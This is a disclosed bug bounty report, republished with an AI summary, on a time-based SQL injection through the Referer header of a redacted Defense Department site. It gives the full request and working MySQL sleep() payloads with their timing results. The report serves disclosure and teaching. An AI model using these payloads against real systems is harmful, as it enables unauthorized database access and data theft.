Skip to content
SQL injection Disclosed report Intermediate

[SQLI ]Time Bassed Injection at ██████████ via referer header

The Referer header was vulnerable to time-based SQL injection, allowing an attacker to execute arbitrary SQL queries and potentially dump the database.

yassinek3ch Follow

Originally disclosed on HackerOne

  • Disclosed after 16 days

Hi

the ████ was vulnerable to time bassed injection via referer header

#steps

1- copy the request to your burp suite :

GET
Host: ███████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
████=*
Upgrade-Insecure-Requests: 1
Referer: http://www.google.com/search?hl=en&q='+(select*from(select(sleep(7*7)))a)+' ```

the injection point is``` Referer: http://www.google.com/search?hl=en&q=*```

payload > '+(select*from(select(sleep(7*7)))a)+'  > 7*7 = 49.> 49,708 mills
█████

payload > '+(select*from(select(sleep(20)))a)+'  > 20 = 20,208 mills

██████████

payload>  '+(select*from(select(sleep(20+10)))a)+'  > 10+20=30 > 30,289 mills
██████████

## Impact

SQL Injection, attacker can dump the database of ████

The original report as published on HackerOne, by yassinek3ch. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application concatenated the Referer header directly into a SQL query without sanitisation or parameterisation.

Impact

An attacker could dump the database of the affected system.

What the attacker needed

Ability to send crafted HTTP requests

How it was found

  1. Capture a request to the vulnerable endpoint in Burp Suite.
  2. Identify the Referer header as the injection point.
  3. Send a payload causing a delay of about 49.7 seconds and observe the response time.
  4. Send a payload causing a delay of about 20.2 seconds and observe the response time.
  5. Send a payload causing a delay of about 30.3 seconds and observe the response time.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the Referer header (which tells the server where you came from) was used to sneak in a command that makes the database wait, and the delay proves the injection works.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by yassinek3ch

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.